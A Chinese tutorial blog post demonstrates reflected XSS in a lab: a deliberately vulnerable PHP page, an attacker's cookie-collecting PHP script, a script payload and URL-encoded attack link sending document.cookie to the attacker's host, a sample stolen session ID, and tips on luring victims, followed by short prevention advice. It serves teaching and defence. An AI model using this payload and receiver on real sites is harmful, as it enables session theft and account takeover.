大多数人对于XSS的原理有一个基本认识,这里不再重复,只给出一个能够演示其原理的完整样例。
1 角色分配
- 有XXS漏洞的网站,IP地址172.16.35.135,PHP为开发语言
- 受害访问者,IP地址172.16.35.220,浏览器为IE11
- 黑客的数据接收网站,IP地址172.16.2.192,PHP为开发语言
2 源码实例
2.1 漏洞网站
存在漏洞的URL为:http://172.16.35.135/xss_demo.php
- <?php
- session_start();
- ?>
- <!doctype html>
- <html>
- <head>
- <title>XSS demo</title>
- </head>
- <body>
- <form>
- <input style="width:300px;" type="text" name="address1" value="<?php echo $_GET["address1"]; ?>" />
- <input type="submit" value="Submit" />
- </form>
- </body>
- </html>
该网页把用户通过GET发送过来的表单数据,未经处理直接写入返回的html流,这就是XSS漏洞所在。
2.2 黑客接收网站
接收网站的URL为http://172.16.2.192/xss_hacker.php
- <?php
- $victim = 'XXS得到的 cookie:'. $_SERVER['REMOTE_ADDR']. ':' .$_GET['cookie'];
- file_put_contents('xss_victim.txt', $victim);
把受害用户的IP地址和访问漏洞网站时使用的cookie,一起写入xss_victim.txt文件保存备用。
2.3 用户正常访问
用户使用IE11访问网站。现在网站一般都采用session+cookie来保存用户登录信息,网站通过验证cookie来确实是否是合法已登录用户,所以cookie是用户的敏感数据.
3 攻击过程
3.1 黑客准备攻击字符串,构造攻击URL
黑客可以通过各种扫描工具或者人工输入来找到有XSS漏洞的网站URL,然后精心构造攻击字符串。对于本例来说构造出来的字符串为:
- "/> <script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script><!--
只要把这个字符串作为漏洞网站文本编辑框的表单值输入提交,就会造成攻击。手工输入这个字符串,并提交,浏览器地址栏自动生成攻击URL。如下图:
此时,用户访问漏洞网站的html代码,被修改成了:
- <!doctype html>
- <html>
- <head>
- <title>XSS demo</title>
- </head>
- <body>
- <form>
- <input style="width:500px;" type="text" name="address1" value=""/> <script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script><!--" />
- <input type="submit" value="Submit" />
- </form>
- </body>
- </html>
明显看出,这个html回去执行一个脚本,这个脚本功能是把用户的cookie发送到黑客的接收网站。
最终生成的攻击URL为:
- http://172.16.35.135/xss_demo.php?address1=%22%2F%3E+%3Cscript%3Ewindow.open%28%22http%3A%2F%2F172.16.2.192%2Fxss_hacker.php%3Fcookie%3D%22%2Bdocument.cookie%29%3B%3C%2Fscript%3E%3C%21--
接下来要做的就是,寻找受害人,诱惑其点击上述URL。
3.2 用户上当误点击攻击URL
黑客可以采取各种手段,包括发Email,在各种论坛网站发布此攻击URL,如做成如下诱人连接。
屌丝们最喜欢美女了,在好奇心的驱动下,点击了这个美女图片。而点击的后果正是访问前面的攻击URL。
3.3 用户敏感数据被发送到黑客接收网站
受害用户访问攻击URL后,其敏感数据自动发送到黑客的接收网站。接收网站把这些敏感信息保存到文件中,当然现实的情况一定是存入数据库中了。
xss_victim.txt中现在保存了受害者的敏感数据。
- XXS得到的 cookie:172.16.35.220:PHPSESSID=4duu55hgci1leee4os6101cl30
注意,默认IE11开启了XSS筛选器,此时IE会阻止上述简单攻击脚本。为模拟攻击,我们临时把XSS筛选器禁用。
3.4 黑客利用敏感数据做坏事
有了受害用户的敏感数据,就可以利用这些数据做各种坏事了,比如以受害用户身份登录漏洞网站,等等。
4 XSS的预防
XSS的预防可以从多方面着手:
(1)如前面所述,浏览器自身可以识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;
(2)从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全字符等手段,始终把安全放在心上;
(3)对于普通网民,需要注意尽量抵挡诱惑,别去点击非知名网站的链接。
相关推荐
xss跨站脚本攻击与预防.rar,包含《XSS跨站脚本攻击剖析与防御(完整版).pdf》 与 xss-html-filter-master.zip 针对跨站脚本有详细说明与预防工具
XSS跨站脚本攻击
XSS跨站脚本攻击在Java开发中防范的方法
第8章 防御XSS攻击,介绍了一些防范XSS攻击的方法,例如,运用XSS Filter进行输入过滤和输出编码,使用Firefox浏览器的Noscript插件抵御XSS攻击,使用HTTP-only的Cookies同样能起到保护敏感数据的作用。
XSS跨站脚本攻击剖析与防御》是一本专门剖析XSS安全的专业书,总共8章,主要包括的内容如下。第1章 XSS初探,主要阐述了XSS的基础知识,包括XSS的攻击原理和危害。第2章 XSS利用方式,就当前比较流行的XSS利用方式做...
51CTO下载-XSS跨站脚本攻击剖析与防御(完整版)
xss跨站脚本攻击汇总,可以学习一下啊,比较全面了
XSS跨站脚本攻击剖析与防御.docx
XSS跨站脚本攻击剖析与防御 文字版 epub格式
XSS跨站脚本攻击剖析与防御(完整版).part2
NULL 博文链接:https://gqsunrise.iteye.com/blog/2214704
web安全技术-实验七、跨站脚本攻击(xss)(反射型)
描述了一些xss跨站脚本攻击的原理以及预防。
XSS跨站脚本攻击方法初探,适合XSS入门学习。
Xss跨站脚本攻击基础,非常好的学习文档!!!Xss跨站脚本攻击基础,非常好的学习文档!!!
阐述了XSS的基础知识,剖析了XSS攻击的原理和危害 主要讲解了XSS测试工具,发掘XSS漏洞技术,XSS Worm防御、Flash应用安全等 本书浅显易懂,特别适合初学者学习。
XSS 跨站脚本攻击 的防御解决方案 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
XSS攻击的危害包括 1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号 2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力 3、盗窃企业重要的具有商业价值的资料 4、非法转账 5、...